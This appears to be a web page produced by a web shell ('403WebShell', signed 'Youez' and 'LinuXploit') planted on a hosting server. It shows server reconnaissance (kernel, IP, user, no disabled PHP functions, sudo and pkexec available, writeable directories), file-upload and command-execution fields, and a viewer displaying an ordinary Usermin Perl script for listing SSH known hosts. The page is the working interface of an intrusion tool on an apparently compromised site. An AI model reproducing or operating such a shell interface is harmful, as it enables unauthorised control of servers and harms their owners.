Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/ssh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/usermin/ssh/list_knowns.cgi
#!/usr/bin/perl
# list_knowns.cgi
# List trusted remote hosts

require './ssh-lib.pl';
&ui_print_header(undef, $text{'knowns_title'}, "");

@links = ( &select_all_link("d"),
	   &select_invert_link("d"),
	   "<a href='edit_known.cgi?new=1'>$text{'knowns_add'}</a>" );

print "$text{'knowns_desc'}<p>\n";

@knowns = &list_knowns();
if (@knowns) {
	print &ui_form_start("delete_knowns.cgi", "post");
	print &ui_links_row(\@links);
	@tds = ( "width=5", undef, "nowrap" );
	print &ui_columns_start([ "",
			 	  $text{'knowns_hosts'},
				  $text{'knowns_type'},
				  $text{'knowns_key'} ], undef, 0, \@tds);
	foreach $k (@knowns) {
		print &ui_checked_columns_row([
			"<a href='edit_known.cgi?idx=$k->{'index'}'>".
		      	  join("&nbsp;|&nbsp;",
			     map { &html_escape($_) } @{$k->{'hosts'}})."</a>",
			&html_escape($k->{'type'}),
			"<tt>".&html_escape(substr($k->{'key'}, 0, 40)).
			" ... ".
			&html_escape(substr($k->{'key'}, -40))."</tt>"
			], \@tds, "d", $k->{'index'});
		}
	print &ui_columns_end();
	print &ui_links_row(\@links);
	print &ui_form_end([ [ "delete", $text{'knowns_delete'} ] ]);
	}
else {
	print "<b>$text{'knowns_none'}</b> <p>\n";
	print &ui_links_row([ $links[2] ]);
	}

&ui_print_footer("", $text{'index_return'});


Youez - 2016 - github.com/yon3zu
LinuXploit